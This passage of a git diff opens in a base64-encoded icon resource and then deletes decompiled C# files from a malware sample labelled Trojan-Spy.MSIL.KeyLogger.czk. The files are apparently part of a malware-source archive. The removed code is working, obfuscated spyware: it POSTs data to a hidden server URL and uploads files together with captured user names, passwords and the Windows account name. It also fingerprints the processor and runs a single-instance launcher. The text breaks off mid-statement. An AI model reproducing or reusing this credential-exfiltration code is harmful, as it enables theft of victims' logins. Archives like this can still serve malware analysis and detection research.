AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/អ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/អ.cs deleted file mode 100644 index edb6a2f1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/អ.cs +++ /dev/null @@ -1,163 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: អ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.IO; -using System.Management; -using System.Net; -using System.Text; -using System.Web; - -internal class អ -{ - public string ឮ; - - public string ឪ(string Url, string Post) - { - do - ; - while (false); - byte[] bytes = Encoding.UTF8.GetBytes(Post); - string end; - string str; - try - { - WebRequest webRequest = WebRequest.Create(Url); - webRequest.Method = "POST"; - webRequest.ContentType = "application/x-www-form-urlencoded"; - webRequest.ContentLength = (long) bytes.Length; - webRequest.Timeout = 300000; - if (bytes.Length > 0) - { - using (Stream requestStream = webRequest.GetRequestStream()) - requestStream.Write(bytes, 0, bytes.Length); - } - StreamReader streamReader = new StreamReader(webRequest.GetResponse().GetResponseStream()); - end = streamReader.ReadToEnd(); - streamReader.Close(); - } - catch (Exception ex) - { - this.ឨ(ex); - str = "0"; - goto label_11; - } - return end; -label_11: - return str; - } - - public string ឤ(string s) - { - do - ; - while (false); - return Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - } - - public void ឬ(string file, string user, string pass) - { - do - ; - while (false); - try - { - if (!file.Equals("")) - { - if (!user.Equals("")) - { - if (!pass.Equals("")) - { - if (Settings.Default.RemoteAccess) - { - WebClient webClient = new WebClient(); - webClient.Headers.Add("Content-Type", "binary/octet-stream"); - webClient.UploadFileAsync(new Uri(this.ឮ + "?class=application&method=addImage¶meters=" + HttpUtility.UrlEncode(user) + "," + HttpUtility.UrlEncode(pass) + "," + HttpUtility.UrlEncode(Environment.UserName)), "POST", file); - } - } - } - } - } - catch (Exception ex) - { - this.ឨ(ex); - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public void ឨ(Exception e) - { - do - ; - while (false); - try - { - string str = "--------------------------------------------------------------------------------------"; - if (!System.IO.File.Exists(Settings.Default.TempFileLocation + "\\Errors.txt")) - { - System.IO.File.Create(Settings.Default.TempFileLocation + "\\Errors.txt").Close(); - } - else - { - using (StreamWriter streamWriter = System.IO.File.AppendText(Settings.Default.TempFileLocation + "\\Errors.txt")) - streamWriter.Write(string.Format("\r\n\r\n{0} - {1}\r\n{2}\r\n{3}", (object) DateTime.Now.ToString(), (object) e.TargetSite.ToString(), (object) str, (object) e.Message)); - } - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public string ឦ() - { - do - ; - while (false); - string str = "--"; - try - { - foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("SELECT ProcessorId FROM Win32_Processor").Get()) - str = (string) managementBaseObject["ProcessorId"]; - } - catch (Exception ex) - { - this.ឨ(ex); - } - return str; - } - - public អ() - { - do - ; - while (false); - this.ឮ = \u17CE.\u17D9; - // ISSUE: explicit constructor call - base.\u002Ector(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឰ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឰ.cs deleted file mode 100644 index 7b21a308..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឰ.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ឰ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Threading; -using System.Windows.Forms; - -internal static class ឰ -{ - [STAThread] - private static void ᡆᙃ() - { - do - ; - while (false); - try - { - bool createdNew = true; - using (new Mutex(true, ᙵ.\u17DAᙃ, out createdNew)) - { - if (createdNew) - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new ᙀ()); - } - } - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.cs deleted file mode 100644 index 1710000b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ឲ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class ឲ : Form -{ - private IContainer ᡈᙃ; - private PictureBox ᡉᙃ; - private Label ᡊᙃ; - private Label ᡋᙃ; - private ProgressBar ᡘᙃ; - private Timer ᡍᙃ = new Timer(); - private double ᡎᙃ = 40.0; - private double ᡏᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡈᙃ != null) - this.ᡈᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - this.ᡉᙃ = new PictureBox(); - this.ᡊᙃ = new Label(); - this.ᡋᙃ = new Label(); - this.ᡘᙃ = new ProgressBar(); - ((ISupportInitialize) this.ᡉᙃ).BeginInit(); - this.SuspendLayout(); - this.ᡉᙃ.Image = (Image) Resources.splash; - this.ᡉᙃ.Location = new Point(0, 48); - this.ᡉᙃ.Name = ᙵ.ᝈ; - this.ᡉᙃ.Size = new Size(600, 300); - this.ᡉᙃ.TabIndex = 0; - this.ᡉᙃ.TabStop = false; - this.ᡊᙃ.AutoSize = true; - this.ᡊᙃ.BackColor = Color.White; - this.ᡊᙃ.Font = new Font(ᙵ.ᝊ, 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡊᙃ.ForeColor = SystemColors.HotTrack; - this.ᡊᙃ.Location = new Point(12, 273); - this.ᡊᙃ.Name = ᙵ.\u1758; - this.ᡊᙃ.Size = new Size(528, 13); - this.ᡊᙃ.TabIndex = 1; - this.ᡊᙃ.Text = ᙵ.ᝎ; - this.ᡋᙃ.AutoSize = true; - this.ᡋᙃ.BackColor = Color.FromArgb(34, 34, 34); - this.ᡋᙃ.Font = new Font(ᙵ.\u177E, 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡋᙃ.ForeColor = SystemColors.ControlLight; - this.ᡋᙃ.Location = new Point(12, 63); - this.ᡋᙃ.Name = ᙵ.\u1752; - this.ᡋᙃ.Size = new Size(95, 14); - this.ᡋᙃ.TabIndex = 2; - this.ᡋᙃ.Text = ᙵ.\u1754; - this.ᡘᙃ.Location = new Point(0, 365); - this.ᡘᙃ.Name = ᙵ.\u1756; - this.ᡘᙃ.Size = new Size(600, 23); - this.ᡘᙃ.TabIndex = 3; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = Color.DimGray; - this.ClientSize = new Size(600, 400); - this.ControlBox = false; - this.Controls.Add((Control) 